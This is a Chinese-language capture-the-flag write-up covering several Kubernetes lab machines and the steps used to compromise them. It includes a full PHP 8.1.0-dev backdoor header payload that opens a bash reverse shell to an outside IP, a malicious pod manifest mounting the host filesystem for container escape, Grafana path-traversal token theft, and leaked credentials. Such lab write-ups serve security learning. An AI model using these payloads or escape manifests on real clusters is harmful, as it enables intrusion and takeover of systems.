Kubernetes打靶记录

38

找了些k8s相关的靶机,写个wp简单的记录一下

Insekube

image-20230907114234083

开放了22,80端口

80端口命令注入,直接弹shell

image-20230907114346919

image-20230907114447636

环境变量里拿到第一个flag,还有一个Grafana

上传一个kubectl

尝试kubectl get pods 报错

./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"

使用kubectl auth can-i --list

image-20230907120510913

查看secrets,拿到第二个flag

image-20230907120642666

之前还在环境变量里看到一个Grafana,版本为 8.3.0-beta2

起个代理然后用CVE-2021-43798读取serviceaccount token

image-20230907125740245

查看该serviceaccount token的权限:

image-20230907131151764

帐户可以对 *.* 资源执行 * 动词。这意味着它是一个cluster-admin

进入grafana的pod查看环境变量拿到第三个flag

image-20230907132137648

最后部署一个恶意的挂载宿主机目录的pod来实现逃逸

不过靶机不出网,需要使用本地已有镜像

使用

kubectl --token=$token describe pod xxx

查看使用的镜像

image-20230907132829207

编写恶意yaml

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - image: syringe:latest
    name: evil-container
    imagePullPolicy: IfNotPresent
    volumeMounts:
    - mountPath: /host
      name: evil-volume
  volumes:
  - name: evil-volume
    hostPath:
      path: /

添加imagePullPolicy: IfNotPresent表示优先拉取本地镜像

./kubectl --token=$token apply -f evil.yml

image-20230907133354927

在宿主机的root目录下面拿到最后一个flag

Frank and Herby try again

30679端口为一个php服务

/info.php 看到php版本为 8.1.0-dev

此版本存在官方后门

User-Agentt: zerodiumsystem('bash -c "bash -i >& /dev/tcp/10.18.11.89/2333 0>&1"');

弹shell后上传kubectl

image-20230907150551779

直接是cluster-admin

还是创建一个恶意pod

image-20230907151421002

Frank & Herby make an app

Open 10.10.160.245:22
Open 10.10.160.245:3000
Open 10.10.160.245:10250
Open 10.10.160.245:10255
Open 10.10.160.245:10257
Open 10.10.160.245:10259
Open 10.10.160.245:16443
Open 10.10.160.245:25000
Open 10.10.160.245:31337
Open 10.10.160.245:32000

31337端口是一个web服务,扫描目录后发现/.git-credentials

访问得到

http://frank:f@an3-1s-E337!!@192.168.100.50

ssh直接登陆进去了

image-20230907154115585

拿到第一个flag

部署恶意pod挂载宿主机目录拿到第二个flag

image-20230907155134339

PalsForLife

Open 10.10.17.235:22
Open 10.10.17.235:6443
Open 10.10.17.235:30180
Open 10.10.17.235:31111
Open 10.10.17.235:31112

30180是一个nginx

dirsearch跑出一个/team/目录,右键查看源代码,得到一串base64,是个pdf

image-20230907161818630

image-20230907161837576

需要密码才能打开

拿john跑

image-20230907163522656

打开pdf

得到I_am_geniu5_P4ladin#

31111端口是一个gitea

image-20230907163630518

得到一个用户leeroy

使用leeroy I_am_geniu5_P4ladin# 登陆

私有仓库里有一个配置好的webhook

image-20230907163910778

Secret值为第一个flag

image-20230907164000968

利用Git Hooks RCE

image-20230907164419431

然后新建一个文件,即可弹到shell

image-20230907164457744

得到第二个flag

image-20230907164624621

当前是在集群里面

上传一个kubectl查看权限

image-20230907165932896

cluster-admin 还是创建一个恶意pod逃逸到宿主机

image-20230907170336119

还有一个flag找了半天= =

kube-system 命名空间的secrets里

image-20230907170525055

image-20230907170723202

Kubernetes for Everyone

Open 10.10.66.53:22
Open 10.10.66.53:3000
Open 10.10.66.53:5000
Open 10.10.66.53:6443

3000端口一个Grafana v8.3.0

LFI尝试直接读serviceaccounttoken但是没读到

读取/etc/passwd

发现一串特殊字符 hereiamatctf907

image-20230907171909752

5000端口是一个静态页面

/static/css/main.css中有一串

/* @import url("https://pastebin.com/cPs69B0y"); */

image-20230907172118177

base32解密得到vagrant

用户名 vagrant 密码 hereiamatctf907 登陆ssh (老外脑洞还是大啊)

image-20230907172711699

使用了 k0s

image-20230907173335646

没权限 先提个权

image-20230907173453882

k0s kubectl get secret default-token-nhwb5 -o json

找到了一个flag

image-20230907173634081

查看pods

发现internship-job-5drbm在启动的时候执行了

echo 26c3d1c068e7e01599c3612447410b5e56c779f1

image-20230907174227958

image-20230907174610978

拿hashcat跑一下

image-20230907174941415

还有一个flag在kube-system命名空间下的kube-api中,但是一连就卡死= =

image-20230907175910990

自己本地拉一个镜像

image-20230907180311482

挨个git show

image-20230907180352752

藏的真深啊